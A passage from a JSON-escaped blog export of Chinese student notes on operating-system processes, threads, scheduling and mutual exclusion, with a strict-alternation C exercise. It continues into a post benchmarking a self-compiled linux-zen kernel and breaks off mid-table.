id=\"进程终结时候发生了啥\"\u003e进程终结时候发生了啥?\u003c/h3\u003e\n\u003cp\u003e移除所有队列,释放占用的系统资源(内存等),然后返回操作系统。有可能出现僵尸进程,得让父进程来终结:-P\u003c/p\u003e\n\u003cp\u003e进程终结状态如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e程序自愿退出:执行完了/遇到一般错误\u003c/li\u003e\n\u003cli\u003e被迫退出:进程遇到严重错误/被其他进程发信号退出\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"pcb-不是电路板\"\u003ePCB 不是电路板!\u003c/h3\u003e\n\u003cp\u003ePCB (Process Control Block):进程控制块。重点包括以下东西:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e进程状态\u003c/li\u003e\n\u003cli\u003e程序计数器\u003c/li\u003e\n\u003cli\u003eCPU寄存器\u003c/li\u003e\n\u003cli\u003eCPU调度信息\u003c/li\u003e\n\u003cli\u003e内存管理信息\u003c/li\u003e\n\u003cli\u003eAccounting information\u003c/li\u003e\n\u003cli\u003e输入输出状态信息\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e注意:第六条直译为会计信息。我有两个理解:进程状态信息 / 用户信息\n(我的上帝啊,谁能给我本翻译得十分不错的 Modern Operating System 啊)\u003c/p\u003e\n\u003ch2 id=\"线程概要\"\u003e线程概要\u003c/h2\u003e\n\u003ch3 id=\"线程提出的目的\"\u003e线程提出的目的\u003c/h3\u003e\n\u003cp\u003e对于操作系统来说,中断或者切换一个进程的代价太高了。\u003c/p\u003e\n\u003ch3 id=\"弹出式线程的定义\"\u003e弹出式线程的定义\u003c/h3\u003e\n\u003cp\u003e操作系统收到一个信息后,创建一个线程来处理信息。\u003cbr/\u003e\n概念:进程分为用户态线程(管理归进程),系统态线程(管理归操作系统),混合态进程,以及弹出态进程\u003c/p\u003e\n\u003ch3 id=\"用户态线程的优劣\"\u003e用户态线程的优劣\u003c/h3\u003e\n\u003ch4 id=\"优点\"\u003e优点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程调用很快。\u003c/li\u003e\n\u003cli\u003e线程可以自行定义调度算法。\u003c/li\u003e\n\u003cli\u003e减轻内核调用线程压力。(内核看不到用户态线程)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"缺点\"\u003e缺点\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e线程无法调用阻塞式系统调用。(毕竟只能访问进程里面的玩意)\u003c/li\u003e\n\u003cli\u003e没有时钟,除非运行完退出,其他线程无法运行。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"调度算法\"\u003e调度算法\u003c/h2\u003e\n\u003ch3 id=\"调度发生的时机\"\u003e调度发生的时机\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e新进程的创建\u003c/li\u003e\n\u003cli\u003e进程的退出\u003c/li\u003e\n\u003cli\u003e某进程需要IO操作,\u003c/li\u003e\n\u003cli\u003eIO设备申请CPU中断 (称之为IO中断)\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"一道计算题\"\u003e一道计算题\u003c/h3\u003e\n\u003cp\u003eBy Multilevel Quene Fixed Priority scheduling algorithm, there are 3 priority quenes and 7 processes with following information. Draw the CPU scheduling Gantt chart and complete the following table for the give processes information.\u003c/p\u003e\n\u003cp\u003e通过多层级队列混合优先级 (Multilevel Quene Fixed Priorty) 调度算法,总共有三个优先级队列和七个进程,信息如下。画出 CPU 调度甘特图,然后根据信息填写最下面的表格。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ve12iqCUrXcMGVs.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/eQOM1fvgwrCto2h.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/JQOcHP8YTVKvbpW.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cbr/\u003e\n\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/J6dXQD7YcPlbizB.jpg\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"进程间通信\"\u003e进程间通信\u003c/h2\u003e\n\u003ch3 id=\"基础概念\"\u003e基础概念\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e竞争条件 (race condition) :多个进程间读取一个数据。\u003c/li\u003e\n\u003cli\u003e临界区 (critical region):要与其他进程共享数据区域。\u003c/li\u003e\n\u003cli\u003e互斥访问 (mutual exclusion) 和忙等待 (busy waiting)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"互斥访问方案原则\"\u003e互斥访问方案原则\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e任意两个进程不能同时在临界区。\u003c/li\u003e\n\u003cli\u003e不对 CPU 速度和数量做出假设。\u003c/li\u003e\n\u003cli\u003e临界区外运行进程不能阻塞其他进程。\u003c/li\u003e\n\u003cli\u003e不要让进程进入临界区前无限制等待。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"阅读代码填空\"\u003e阅读代码,填空\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-asm\" data-lang=\"asm\"\u003e\u003cspan class=\"nl\"\u003eenter_region:\u003c/span\u003e\n\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eXCHG\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eCMP\u003c/span\u003e \u003cspan class=\"no\"\u003eREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"c\"\u003e#1;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eJE\u003c/span\u003e \u003cspan class=\"no\"\u003eOK\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eCALL\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eJMP\u003c/span\u003e \u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\u003cspan class=\"no\"\u003eok\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"no\"\u003eRET\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\n\u003cspan class=\"nl\"\u003eleave_region:\u003c/span\u003e\n\t\u003cspan class=\"nf\"\u003eMOVE\u003c/span\u003e \u003cspan class=\"no\"\u003eLOCK\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"no\"\u003e___\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003cspan class=\"c\"\u003e\u003c/span\u003e\t\u003cspan class=\"no\"\u003eRET\u003c/span\u003e\u003cspan class=\"c\"\u003e;\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e根据 \u003ccode\u003eCMP REGISTER,#1; JE OK; ok: RET;\u003c/code\u003e 可分析出 \u003ccode\u003e#1\u003c/code\u003e 是没上锁,\u003ccode\u003e#0\u003c/code\u003e 是上锁了。\u003cbr/\u003e\n\u003ccode\u003eXCHG\u003c/code\u003e 可以互换两个寄存器的值,如果第一个空填入的是 \u003ccode\u003e#1\u003c/code\u003e ,那么无论如何,判断都是没上锁。所以第一个空填入 \u003ccode\u003e#0\u003c/code\u003e 。\u003cbr/\u003e\n第二个和第三个空是忙等待的东西,分别填的是 \u003ccode\u003ethread_yield\u003c/code\u003e (找另外一个进程)和 \u003ccode\u003eenter_region\u003c/code\u003e 。\u003cbr/\u003e\n第四个空填入 \u003ccode\u003e#1\u003c/code\u003e ,用完了就解锁。\u003c/p\u003e\n\u003cp\u003e概念 互斥访问策略\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e关闭中断。(单 CPU 有效)\u003c/li\u003e\n\u003cli\u003e锁变量与忙等待。\u003c/li\u003e\n\u003cli\u003e严格轮换。\u003c/li\u003e\n\u003cli\u003ePeterson 算法。\u003c/li\u003e\n\u003cli\u003e汇编 \u003ccode\u003eTSL\u003c/code\u003e 指令。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"严格轮换机制作业\"\u003e严格轮换机制作业\u003c/h3\u003e\n\u003cp\u003e请修改附件中的代码,实现strict alternation机制(注要能够运行)。此外需要说明程序中那个部分是关键区,以及它为什么是关键区。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt; // For sleep().\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// Critical region, because both threads needs to access this.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// Lock Variable\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Thread 2.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nf\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d haha\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003epthread_t\u003c/span\u003e \u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003epthread_create\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n \u003cspan class=\"c1\"\u003e// Thread 1.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\t\t\u003cspan class=\"n\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d hehe\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以下是编译运行方式。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003egcc thread.c -lpthread -o thread \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./thread\nps -aux \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep thread \u003cspan class=\"c1\"\u003e# 记下 pid 号码\u003c/span\u003e\ntop -H -p PID \u003cspan class=\"c1\"\u003e# 查看该 PID 对应的线程状态\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e本程序的关键区是 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eturn\u003c/code\u003e ,因为它是两个进程共享的数据区域。其中 \u003ccode\u003ea\u003c/code\u003e 是两个进程互相访问的数据区,turn 是锁变量。\u003c/p\u003e\n\u003ch3 id=\"生产者和消费者问题\"\u003e生产者和消费者问题\u003c/h3\u003e\n\u003cp\u003e阅读代码,看看有啥问题。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\"\u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e在单核 CPU 上:\u003c/p\u003e\n\u003cp\u003e先执行消费者进程:\u003cbr/\u003e\n发现仓库里没有东西,准备睡眠。但是还没睡眠,进程切换到生产者了。\u003cbr/\u003e\n生产者开始生产产品,发现仓库里有东西,向消费者进程发出唤醒信号。进程切换到消费者。\u003cbr/\u003e\n消费者进程是醒着的,只是准备睡眠,把唤醒信号忽略掉,然后睡眠了,退出了 CPU 。\u003cbr/\u003e\n最后生产者把仓库填满了,也睡了。两个进程都睡了:-P\u003c/p\u003e\n\u003cp\u003e如果目前仓库满了:\u003cbr/\u003e\n生产者决定睡眠,但还没睡,进程切换到消费者了。\u003cbr/\u003e\n消费者用了一个产品,发现仓库里数量为 N-1,唤醒生产者。\u003cbr/\u003e\n生产者忽略了唤醒信号,睡眠。\u003cbr/\u003e\n消费者用完了所有东西,也睡了:-P\u003c/p\u003e\n\u003cp\u003e要点:准备睡眠时切换进程了,唤醒信号被忽略。\u003c/p\u003e\n\u003ch3 id=\"mutex互斥锁和-semaphore信号量的不同\"\u003eMutex(互斥锁)和 Semaphore(信号量)的不同\u003c/h3\u003e\n\u003cp\u003eMutex 实现在用户态,代价低,数量上限高。Semaphore 实现在内核态,代价高,数量上限低。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/operating-system-1-thread.html"},{"title":"自己编译 Linux 内核,好像一点用都没有?","time":"2022-02-11T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://s2.loli.net/2022/08/01/HuqXCyzwJA3N2kE.jpg\" alt=\"Featured image of post 自己编译 Linux 内核,好像一点用都没有?\"/\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/li\u003e\n\u003cli\u003e为啥自己编译没用~性能对比和优劣势对比\u003c/li\u003e\n\u003cli\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/li\u003e\n\u003cli\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/li\u003e\n\u003cli\u003e结尾\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"为什么我要自己编译内核-linux-内核的多元化\"\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/h2\u003e\n\u003cp\u003e很简单,下学期我有门课,叫“操作系统”,据说需要编译内核。实际上我之前编译过,但是我没有接触过设置,这回想看看我能设置啥。\u003cbr/\u003e\n不过我最讨厌学习了,所以接下来的才是真正原因233\u003cbr/\u003e\n我玩《黑山起源》,玩起来很卡。游戏设置当然是调了,但根据我之前压制视频,我觉得是内核没有把我的核显和 CPU 压榨干净(我的电脑是轻薄本)。之前看过很多帖子,说用了特制内核,跑起来能快一些。\u003cbr/\u003e\n这里,我提到了“特制内核”。因为 Linux 内核是开源的,自然,有人魔改了很多版本。这里介绍四个版本:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e长期支持版(LTS),为了稳定而优化的版本,相当于 Windows 的 LTSC 版。一般出现在 CentOS 和 Ubuntu 上面。\u003c/li\u003e\n\u003cli\u003elinux-zen,为了桌面电脑而进行过性能优化。我日用这个版本。\u003c/li\u003e\n\u003cli\u003elinux-hardened,为了系统安全而优化的版本。\u003c/li\u003e\n\u003cli\u003elinux-libre,为了代码的绝对自由而砍掉了很多驱动。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然,如果你是为了应付操作系统实验,我建议你还是使用原版吧。首先,网上教程丰富,其次,代码简单易得。\u003c/p\u003e\n\u003ch2 id=\"为啥自己编译没用性能对比\"\u003e为啥自己编译没用~性能对比\u003c/h2\u003e\n\u003cp\u003e鉴于我编译内核,最主要的出发点是加速游戏运行,自然我得提供这方面的数据了。\u003cbr/\u003e\n我的自制内核,基于 linux-zen 内核,精简了很多没必要的驱动,以及在电脑管理模块强制使用性能模式,并根据我的处理器型号(AMD Ryzen 4750U),使用了\u0026#34;Zen 2\u0026#34;性能优化。\u003cbr/\u003e\n以下跑分均在我的电脑上进行,型号是 Thinkpad T14 ,系统是最新的 Arch Linux ,在接电情况下进行。\u003cbr/\u003e\n首先是GeekBench(下称GB)的跑分成绩:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctbody\u003e\u003ctr\u003e\n\t\t\u003cth rowspan=\"2\"\u003e测试次数\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5038\u003c/td\u003e\n\t\t\u003ctd\u003e12522767\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5112\u003c/td\u003e\n\t\t\u003ctd\u003e12523274\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e1191\u003c/td\u003e\n\t\t\u003ctd\u003e5090\u003c/td\u003e\n\t\t\u003ctd\u003e12522823\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5119\u003c/td\u003e\n\t\t\u003ctd\u003e12523312\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e1214\u003c/td\u003e\n\t\t\u003ctd\u003e5087\u003c/td\u003e\n\t\t\u003ctd\u003e12522819\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5109\u003c/td\u003e\n\t\t\u003ctd\u003e12522353\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\u003ctd\u003e1206\u003c/td\u003e\n\t\t\u003ctd\u003e5070\u003c/td\u003e\n\t\t\u003ctd\u003e12522915\u003c/td\u003e\n\t\t\u003ctd\u003e1207\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523397\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\u003ctd\u003e1215\u003c/td\u003e\n\t\t\u003ctd\u003e5086\u003c/td\u003e\n\t\t\u003ctd\u003e12522951\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523431\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\u003ctd\u003e1217\u003c/td\u003e\n\t\t\u003ctd\u003e5092\u003c/td\u003e\n\t\t\u003ctd\u003e12522998\u003c/td\u003e\n\t\t\u003ctd\u003e1212\u003c/td\u003e\n\t\t\u003ctd\u003e5098\u003c/td\u003e\n\t\t\u003ctd\u003e12523485\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均成绩\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5077\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5115\u003c/td\u003e\n\t\